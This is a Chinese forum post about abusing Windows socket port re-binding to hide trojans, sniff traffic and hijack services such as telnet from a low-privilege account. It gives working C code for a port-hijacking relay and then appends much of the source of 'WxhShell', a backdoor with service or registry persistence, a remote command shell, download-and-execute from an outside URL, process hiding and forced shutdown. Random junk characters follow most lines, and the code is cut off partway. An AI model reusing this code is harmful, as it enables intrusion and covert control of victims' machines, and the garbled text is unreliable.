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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i% 19|an  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u1s^AW8 y  
-&I%=0q  
  saddr.sin_family = AF_INET; w-*$gk]   
^UHt1[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *9 M 5'  
u;18s-NY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t<mT=(zt*  
t$^1A1Ef  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^=D=fX"8%  
fz#e4+oH  
  这意味着什么?意味着可以进行如下的攻击: R h zf.kp  
vU0j!XqE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [ &RZ&  
]S4TX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GzxtC  &  
[ R1S+i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -f IX6  
t"k6wv;Tq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z6 2gF|Uj  
F#>?i}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ig:,:KN  
S7&w r@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P -0  
9r=@S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ikf!7-,  
L/dG 0a@1X  
  #include H)S" `j  
  #include sJo]$/?F  
  #include ${Cb1|g>j  
  #include    `p1szZD&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Se/VOzzg  
  int main() U\'.rT[#  
  { [<`K%1GQ  
  WORD wVersionRequested; ieXhOA  
  DWORD ret; ~Fp,nE-B  
  WSADATA wsaData; 0PO'9#  
  BOOL val; [u\E*8  
  SOCKADDR_IN saddr; rlTCVmE8[  
  SOCKADDR_IN scaddr; ~&B{"d  
  int err; CKwrE]h  
  SOCKET s; &.D3f"  
  SOCKET sc; MT9c:7}[&  
  int caddsize; M7!>-P  
  HANDLE mt; Hf!o6 o  
  DWORD tid;   Hv2t_QjKT  
  wVersionRequested = MAKEWORD( 2, 2 ); {E`[ `Kf  
  err = WSAStartup( wVersionRequested, &wsaData ); m?bd6'&FR  
  if ( err != 0 ) { :#W40rUb  
  printf("error!WSAStartup failed!\n"); xp-.,^q\w  
  return -1; p.^glz>B  
  } 3`[f<XaL  
  saddr.sin_family = AF_INET; mpfc2>6Il.  
   '7AlE!7%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q-o}Xnj*!L  
spter35b[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QSPneYD  
  saddr.sin_port = htons(23); A.tONPi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j]th6  
  { |6/k2d{,(  
  printf("error!socket failed!\n"); A8 V7\  
  return -1; _V\rs{ 5  
  } #T:#!MKa  
  val = TRUE; 6Yhd[I3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d#E]>:w9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5VI c  
  { {`5Sh1b  
  printf("error!setsockopt failed!\n"); ?,~B@Kx  
  return -1; J%`-K"NB  
  } u:#+R_0#97  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .w=( G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y/cnj n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HnU; N S3J  
(3 xCW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K s 8  
  { G?D7R/0)  
  ret=GetLastError(); l",JN.w  
  printf("error!bind failed!\n"); c ;_ T  
  return -1; C-!!1-Eq?:  
  } J60XUxf  
  listen(s,2); a9S0glbwf  
  while(1) :{@&5KQ8)  
  { s%F}4W2s  
  caddsize = sizeof(scaddr); .%)FK#s-  
  //接受连接请求 ;Q"xXT`;:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ay\=&4dv  
  if(sc!=INVALID_SOCKET) _h|rH   
  { *ue- x!"c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /Y$UJt  
  if(mt==NULL) b|mWEB.p  
  { A;~lG3j4  
  printf("Thread Creat Failed!\n"); lnuf_;0  
  break; GPBp.$q+B  
  } QHOA__?  
  } 9qc<m'MZ  
  CloseHandle(mt); G"w ?{W @  
  } _GEt:=DAP#  
  closesocket(s); I3 /^{-n  
  WSACleanup(); [>+R|;ln  
  return 0; gz fs9e  
  }   k"_i7  
  DWORD WINAPI ClientThread(LPVOID lpParam) :lj1[q:Y>  
  { A&EVzmj-+X  
  SOCKET ss = (SOCKET)lpParam; >iD&n4TK  
  SOCKET sc; egQB!%D  
  unsigned char buf[4096]; W4n;U-Hb  
  SOCKADDR_IN saddr; {A2EGUmF2  
  long num; Bk,:a,  
  DWORD val; Co[fq3iX#  
  DWORD ret; "f^s*I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -*xm<R],  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g}>Sc=e <  
  saddr.sin_family = AF_INET;  2fZVBj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e8T#ZWr*  
  saddr.sin_port = htons(23); o!:V=F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n8W+q~sW%  
  { N-XOPwx'  
  printf("error!socket failed!\n"); /5cFa  
  return -1; 6mcxp+lm|  
  } DUBEh@  
  val = 100; ZH'- >/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?,G CR1|4  
  { h'*>\eC6  
  ret = GetLastError(); c@H_f  
  return -1; 7ux0|l  
  } {OFbU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #p'Xq }]  
  { +ob<? T  
  ret = GetLastError(); g\9I&z~?  
  return -1; ee7#PE]}  
  } b(^gv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `PML 4P[  
  { }dnO7K  
  printf("error!socket connect failed!\n"); cuv?[ M  
  closesocket(sc); kU uDA><1  
  closesocket(ss); +/!kL0[v  
  return -1; ;. jnRPo";  
  } [[uKakp  
  while(1) >q W_%  
  { c6 O1Z\M@\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kmfz=q?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2R}9wDP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -+1_ 1!  
  num = recv(ss,buf,4096,0); 7G,{BBB  
  if(num>0) 1Z9_sd~/6  
  send(sc,buf,num,0); m417=wf  
  else if(num==0) s?qRy 2  
  break; %V r vu5  
  num = recv(sc,buf,4096,0); :|j,x7&/{  
  if(num>0) T-" zK r!  
  send(ss,buf,num,0); hC1CISm.U  
  else if(num==0) zJ-_{GiM*L  
  break; }M3f ?Jv  
  } y"N7r1Pf  
  closesocket(ss); <*D{uMw  
  closesocket(sc); ,&+"|,m  
  return 0 ; Gyo[C98  
  } Ql~9a [8T~  
oW0A8_|9  
|>w>}w`~  
========================================================== :X1~  
+{b!,D3sa*  
下边附上一个代码,,WXhSHELL )8BGN'jyi  
1oD1ia#  
========================================================== |jh&a+4W  
Xz/5 Wis4  
#include "stdafx.h" z^@.b  
IZr~h9  
#include <stdio.h> U[l7n3Y=  
#include <string.h> +y%"[6c|  
#include <windows.h> lrn3yDkR?  
#include <winsock2.h> CcF$?07 i  
#include <winsvc.h> uJBs3X  
#include <urlmon.h> ;rBd_  
q> ;u'3}  
#pragma comment (lib, "Ws2_32.lib") PvmmyF  
#pragma comment (lib, "urlmon.lib") }b$?t7Q)  
e_eNtVq  
#define MAX_USER   100 // 最大客户端连接数 fY)Dx c&ue  
#define BUF_SOCK   200 // sock buffer YH_mWN\Wu  
#define KEY_BUFF   255 // 输入 buffer +sN'Y/-  
\0}!qG![AA  
#define REBOOT     0   // 重启 YIP /N  
#define SHUTDOWN   1   // 关机 ^]x%z*6  
<Mdyz!  
#define DEF_PORT   5000 // 监听端口 j@yK#==k  
+>zjTP7\e"  
#define REG_LEN     16   // 注册表键长度 4r'QP .h  
#define SVC_LEN     80   // NT服务名长度 f9+J}  
G~$.Af!9W  
// 从dll定义API ejr9e@D^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CV9o,rL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J%8M+!`F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4CUoXs'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yH\3*#+  
GM1z@i\5  
// wxhshell配置信息 }}R?pU_  
struct WSCFG { )@vhqVv?  
  int ws_port;         // 监听端口 &sFEe<  
  char ws_passstr[REG_LEN]; // 口令 li!3bv  
  int ws_autoins;       // 安装标记, 1=yes 0=no iD;pXE{2s%  
  char ws_regname[REG_LEN]; // 注册表键名 [C8lMEV~  
  char ws_svcname[REG_LEN]; // 服务名 %kS4v,I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c"nowbf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hxCSE$f4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |2i=oX(r|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wiwAdYEQ\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dC&OjBQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qh|t}#DrR  
6Kl%|VrJs  
}; $)HD`E  
%l4;-x<e  
// default Wxhshell configuration ^M:Y$9r_s  
struct WSCFG wscfg={DEF_PORT, zmA]@'j  
    "xuhuanlingzhe", ~}lYp^~:J  
    1, ,M4G_U[  
    "Wxhshell", lpjeEaw o4  
    "Wxhshell", Ri<7!Y?l  
            "WxhShell Service", GnX+.uQL|  
    "Wrsky Windows CmdShell Service", 5%qq#;[ n  
    "Please Input Your Password: ",  X.q,  
  1, TFfV?rBI  
  "http://www.wrsky.com/wxhshell.exe", cO8':P5Q  
  "Wxhshell.exe" :.k1="H~@  
    }; kp6{QKDj&  
3/aK#TjK  
// 消息定义模块 fbTq?4&Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I]4L0r-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PRdyc+bf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6 5%WjO  
char *msg_ws_ext="\n\rExit."; lx'^vK%F  
char *msg_ws_end="\n\rQuit."; }@)r\t4m  
char *msg_ws_boot="\n\rReboot..."; Li'>pQ+  
char *msg_ws_poff="\n\rShutdown..."; Z<yLu'48)A  
char *msg_ws_down="\n\rSave to "; vz$_Fgsc.  
{^5LolCCH  
char *msg_ws_err="\n\rErr!"; Wz8 MV -D  
char *msg_ws_ok="\n\rOK!"; |)Q#U$ m  
6#J>b[Q  
char ExeFile[MAX_PATH]; UW1i%u k  
int nUser = 0; [+L!c}#  
HANDLE handles[MAX_USER]; vdigw.=z  
int OsIsNt; J50n E~  
$)$_}^.k  
SERVICE_STATUS       serviceStatus; eVd:C8q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G#ELQ/Q  
$y{.fjy3  
// 函数声明 ;p7R~17  
int Install(void); }$[@*  
int Uninstall(void); Ta$55K0  
int DownloadFile(char *sURL, SOCKET wsh); uw/N`u  
int Boot(int flag); KWM.e1(  
void HideProc(void); 3Kc9*]D  
int GetOsVer(void); y\,,hs  
int Wxhshell(SOCKET wsl); zK>m4+)~  
void TalkWithClient(void *cs); < {h \Msx%  
int CmdShell(SOCKET sock); eJ6 #x$I,  
int StartFromService(void); wp83E,  
int StartWxhshell(LPSTR lpCmdLine); Bw~jqDZ}|  
L9oLdWa(C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6&QOC9JW+7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lq2jXy5#n  
oF a,IA  
// 数据结构和表定义 1M b[S{  
SERVICE_TABLE_ENTRY DispatchTable[] = ObJ-XNcNH  
{ <oi'yr  
{wscfg.ws_svcname, NTServiceMain}, 3h$E^"  
{NULL, NULL} ~7FS'!W,F  
}; 1CR\!?  
<Mu T7x-  
// 自我安装 7rYBFSp  
int Install(void) =oM#]M'G+(  
{ =l:k($%%  
  char svExeFile[MAX_PATH]; maa$kg8U*!  
  HKEY key; KoA+Vv9  
  strcpy(svExeFile,ExeFile); 7w]3D  
N|%r5%  
// 如果是win9x系统,修改注册表设为自启动 jT/P+2hMW  
if(!OsIsNt) { p2< 927z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4>HaKJ-c#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )a5ON8?  
  RegCloseKey(key); !X||ds  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'nq~1 >i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f96`n+>x i  
  RegCloseKey(key); i8p$wf"aW  
  return 0; m#R"~ >  
    } Qv g_|~n  
  } |ICn/r~  
} >&ZlC E  
else { `7'^y  
^>>9?  
// 如果是NT以上系统,安装为系统服务 ,F*HZBNFZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A,xPA  
if (schSCManager!=0) 5%4yUd#b  
{ ,CN (;z)  
  SC_HANDLE schService = CreateService m`):= ^nC  
  ( .5AFAGv_c  
  schSCManager, d`C$vj  
  wscfg.ws_svcname, NFP h}D  
  wscfg.ws_svcdisp, R*D5n>~  
  SERVICE_ALL_ACCESS, gK(G1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U|{4=[  
  SERVICE_AUTO_START, 1B:5O*I!J  
  SERVICE_ERROR_NORMAL, :R3iLy  
  svExeFile, *B \ @L  
  NULL, 6!?] (  
  NULL, Ekik_!aB  
  NULL, fJ0V|o  
  NULL, X y`2ux+>/  
  NULL hW9!  
  ); [La}h2gz  
  if (schService!=0) ^FQn\,  
  { 3aBE[  
  CloseServiceHandle(schService); @'5*jXd  
  CloseServiceHandle(schSCManager); 'rS\9T   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zb4{nzX=  
  strcat(svExeFile,wscfg.ws_svcname); j%D{z5,nKm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iq?T&44&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~wF3$H.@;  
  RegCloseKey(key); +> d;%K  
  return 0; >8x)\'w  
    } /d">}%Jn  
  } m@lUJY  
  CloseServiceHandle(schSCManager); %#PWD7a\  
} ^TjC  
} r> Xk1~<!  
= Ezg3$%-  
return 1; xK)<7 63q>  
} M2RkrW#  
YJ-<t6  
// 自我卸载 y\(xYB>T  
int Uninstall(void) n~BQq-1  
{ SIKaDIZ  
  HKEY key; Hz[1c4)'F  
Yk)fBPHr  
if(!OsIsNt) { 8DMqjt3B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $G6kS@A  
  RegDeleteValue(key,wscfg.ws_regname); 8~yP?#p  
  RegCloseKey(key); UjLq[,_!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EVBOubV  
  RegDeleteValue(key,wscfg.ws_regname); :-<30LS $  
  RegCloseKey(key); n qx0#_K-E  
  return 0; 63_#*6Pv28  
  } Ayv:Pv@  
} V6_5v+n  
} );y ZyWDV  
else { ,3iD/8_  
0v9i43[S|J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n/ :#:  
if (schSCManager!=0) =hd0Ui>x  
{ tZm`(2S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zDEgC  
  if (schService!=0) .Y^3G7On  
  { \kf n,m  
  if(DeleteService(schService)!=0) { PC+Soh*  
  CloseServiceHandle(schService); -!mtLaLw  
  CloseServiceHandle(schSCManager); Gc*=n*@^K  
  return 0; DfU= i'R  
  } 2L[!~h2  
  CloseServiceHandle(schService); 2<h~: L  
  } ;K|K]c  
  CloseServiceHandle(schSCManager); f2pA+j5[  
} 7HY8 F5Brx  
} Gd`7Tf)'  
YlT&.G  
return 1; 2TQZu3$c  
} z_'!?K{  
t^>P,%$  
// 从指定url下载文件 V2AsZc0U(  
int DownloadFile(char *sURL, SOCKET wsh) M;'GnGFf  
{ | oM`  
  HRESULT hr; k%\y,b*  
char seps[]= "/"; J%B/(v`  
char *token; V@s93kh  
char *file; ,)!%^ ~v  
char myURL[MAX_PATH]; ntB#2S  
char myFILE[MAX_PATH]; ~`^kP.()  
BB9eQ: xO  
strcpy(myURL,sURL); $cuBd  
  token=strtok(myURL,seps); 1{]S[\F]  
  while(token!=NULL) Y,yU460T8  
  { s]`6u yW"  
    file=token; 0%;| B  
  token=strtok(NULL,seps); UWhHzLcXh  
  } !FyO5`v  
K^[m--  
GetCurrentDirectory(MAX_PATH,myFILE); ~;pP@DA  
strcat(myFILE, "\\"); B0p;Zh  
strcat(myFILE, file); _3N,oCRm  
  send(wsh,myFILE,strlen(myFILE),0); _A& [rBm|  
send(wsh,"...",3,0); " W{rS4L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v$x)$/]n  
  if(hr==S_OK) ^_ V0irv  
return 0; .I]v D#o  
else (fr=[m$`  
return 1; -^t.eZ*|  
d2US~.;>l  
} 7QZy d-  
xXI WEZA  
// 系统电源模块 5 8L@:>"  
int Boot(int flag) [+CFQf>  
{ {R[V  
  HANDLE hToken; N%q{CYF6  
  TOKEN_PRIVILEGES tkp; ;14Q@yrZ0  
U HTxNK@}  
  if(OsIsNt) { ]5:[6;wS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IG;= |  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Oml3=TV  
    tkp.PrivilegeCount = 1; #K$0%0=M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }weE^9GiJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7@ y}J5,  
if(flag==REBOOT) { j jv'"K2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F3$8l[O_  
  return 0; [; $:Lr  
} I7SFGO  
else { OEzSItAI/[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /#"9!8%V  
  return 0; yLnTIE3)  
} bO6cv{>x  
  } qJK9C `T%  
  else { 4AvIU!0w  
if(flag==REBOOT) { Z\QN n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3m21n7F4*  
  return 0; PR(KDwsT&l  
} M&",7CPD(1  
else { !Q%r4Nr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p14$XV  
  return 0; k%-UW%  
} ?$<~cD" Sw  
} CI \O)iB  
Bd;EI)JT  
return 1; $:-C9N29  
} eYjF"Aq  
"]'W^Fg  
// win9x进程隐藏模块 x 0vW9*&  
void HideProc(void) i!JSEQ_8  
{ |pU>^  
Dk")/ ib  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %wu,c e]*  
  if ( hKernel != NULL ) Aq(,  
  { 0lcwc"_DZX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LS# _K-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 673G6Nk  
    FreeLibrary(hKernel); Zw/??Tq b  
  } K7(GdKZe  
&#~U1: 0  
return; u`-:'@4  
} ]^a{?2 ei  
g&ba]?[A  
// 获取操作系统版本 i !SN"SY  
int GetOsVer(void) *>o@EUArN  
{ f_hG2Sk  
  OSVERSIONINFO winfo; $m+Pl[s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *_Pkb.3R  
  GetVersionEx(&winfo); 5$$]ZMof  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A9[D.W9>  
  return 1; w#bdb;  
  else H66~!J0;a  
  return 0; ?ia O6HD  
} 5:EE%(g9  
0d`lugf  
// 客户端句柄模块 aKRnj!4z  
int Wxhshell(SOCKET wsl) Pb@$RAU6 3  
{ ;D[I/U  
  SOCKET wsh; XFww|SG$  
  struct sockaddr_in client; $uK[[k~=S  
  DWORD myID; E`iE]O  
A  j>  
  while(nUser<MAX_USER) )hK;27m4  
{ g^\>hjNX  
  int nSize=sizeof(client); 2Myz[)<P_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i.ivHV~ -  
  if(wsh==INVALID_SOCKET) return 1; Y[;Z7p  
lgHzI(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); . ve a[  
if(handles[nUser]==0) ;b, bHL  
  closesocket(wsh); 'w\Gd7E  
else gaL.5_1  
  nUser++; K5+ONA<c  
  } 5Ak>/QF9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]}_Ohe]X  
gGbqXG^  
  return 0; -N2m|%B  
} -PiZvge  
y#lg)nB  
// 关闭 socket w /CD-  
void CloseIt(SOCKET wsh) 9v}vCg  
{ fEyc3K'5V  
closesocket(wsh); 7{=+Va5  
nUser--; !/e8x;_  
ExitThread(0); r`:dUCFE  
} $I\lJ8  
 <>=abgg  
// 客户端请求句柄 twPD'X!r  
void TalkWithClient(void *cs) l-[5Zl;"  
{ *eUxarI  
TIP H#W:v  
  SOCKET wsh=(SOCKET)cs; hXn@vK6  
  char pwd[SVC_LEN]; NbhQ-  
  char cmd[KEY_BUFF]; 6uWPIM;  
char chr[1]; #j"N5e}U  
int i,j; ~T'$gl  
')E4N+h/  
  while (nUser < MAX_USER) { 88atj+N]  
3 W?H^1t  
if(wscfg.ws_passstr) { >vQKCc|93  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lMXLd91  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QPsvc6ds  
  //ZeroMemory(pwd,KEY_BUFF); <d3N2  
      i=0; (_~Dyvo  
  while(i<SVC_LEN) { "eKM<S  
B+=Xb;p8  
  // 设置超时 \YF'qWB  
  fd_set FdRead; fu`|@S  
  struct timeval TimeOut; brt` oR  
  FD_ZERO(&FdRead); "& q])3h=  
  FD_SET(wsh,&FdRead); 3#c0p790  
  TimeOut.tv_sec=8; t3aDDu  
  TimeOut.tv_usec=0; D?? \H\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CK} _xq2b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aw'o=/a8  
bRc~e@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Csx??T_>r  
  pwd=chr[0]; ~`Rooh3m  
  if(chr[0]==0xd || chr[0]==0xa) { [~IFg~*,  
  pwd=0; .^?Z3iA",  
  break; ]=0$-ImQ@x  
  } NE!]  
  i++; uB3Yl =P  
    } @>hXh +!2h  
>U[YSsFt6  
  // 如果是非法用户,关闭 socket ::G0v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7 [?]DyOf  
} >`.$Tyw  
e{IwFX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QU^?a~r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w<=-n ;2  
AU H_~SY  
while(1) { H-Or  
@RVj~J.A  
  ZeroMemory(cmd,KEY_BUFF); Pt %EyFG  
BYsQu.N  
      // 自动支持客户端 telnet标准   9TOqA4  
  j=0; i@spd5.  
  while(j<KEY_BUFF) { Gw}b8N6E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &<S]=\  
  cmd[j]=chr[0]; hvU\l`m  
  if(chr[0]==0xa || chr[0]==0xd) { $3 ~ /H"K  
  cmd[j]=0; -Mufo.Jz1o  
  break; a6.0 $'  
  } ^>!~%Vv7!  
  j++; ,zH\&D$>u  
    } N'RUtFqj   
bmGtYv  
  // 下载文件 ^Dw18gqr=@  
  if(strstr(cmd,"http://")) { ?$rH yI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $ &fm^1  
  if(DownloadFile(cmd,wsh)) dRnO5 7+{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T6p2=o&p  
  else i?pC[Ao-_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z%O>|ozpq  
  } YXjWk),  
  else { TP&&' 4?D1  
5iP{)  
    switch(cmd[0]) { v?(9ZY]  
  >>HC|  
  // 帮助 >qjV(_?F-  
  case '?': { ,O ]AB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2*@.hBi  
    break; qx\P(dOUf  
  } ;tu2}1#r  
  // 安装 ?>o|H-R~5Z  
  case 'i': { B#;0{  
    if(Install()) joJ:* oL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 14;lB.$p  
    else |9cSG),z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /"OJ~e_%  
    break; WL/9r *jW  
    } "f<+~  
  // 卸载 j*}2AI  
  case 'r': { "jG-)k`a  
    if(Uninstall()) ,}_uk]AQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n"c3C)  
    else &26H   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I &I q  
    break; %G>V .d  
    } u9R:2ah&K  
  // 显示 wxhshell 所在路径 4Z<  
  case 'p': { /C)FS?=  
    char svExeFile[MAX_PATH]; P_3U4J  
    strcpy(svExeFile,"\n\r"); G`r*)pdm  
      strcat(svExeFile,ExeFile); o@g/,V $  
        send(wsh,svExeFile,strlen(svExeFile),0); s.G6?1VXlY  
    break; jW!)5(B[A  
    } i@ XFnt  
  // 重启 CHRO9  
  case 'b': { KdB9Q ;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |;6l1]hk6  
    if(Boot(REBOOT)) Ffp<|2T2_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z ''-AH,  
    else { =c(3EI'w  
    closesocket(wsh); Kp_^ 2V?  
    ExitThread(0); fnm:Wa|,%|  
    } IB+)2`  
    break; C2 ] x  
    } nzK"eNDN.  
  // 关机 3?R QPP  
  case 'd': { :},/ D*v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *X4$'LSx1  
    if(Boot(SHUTDOWN)) &k2nt  
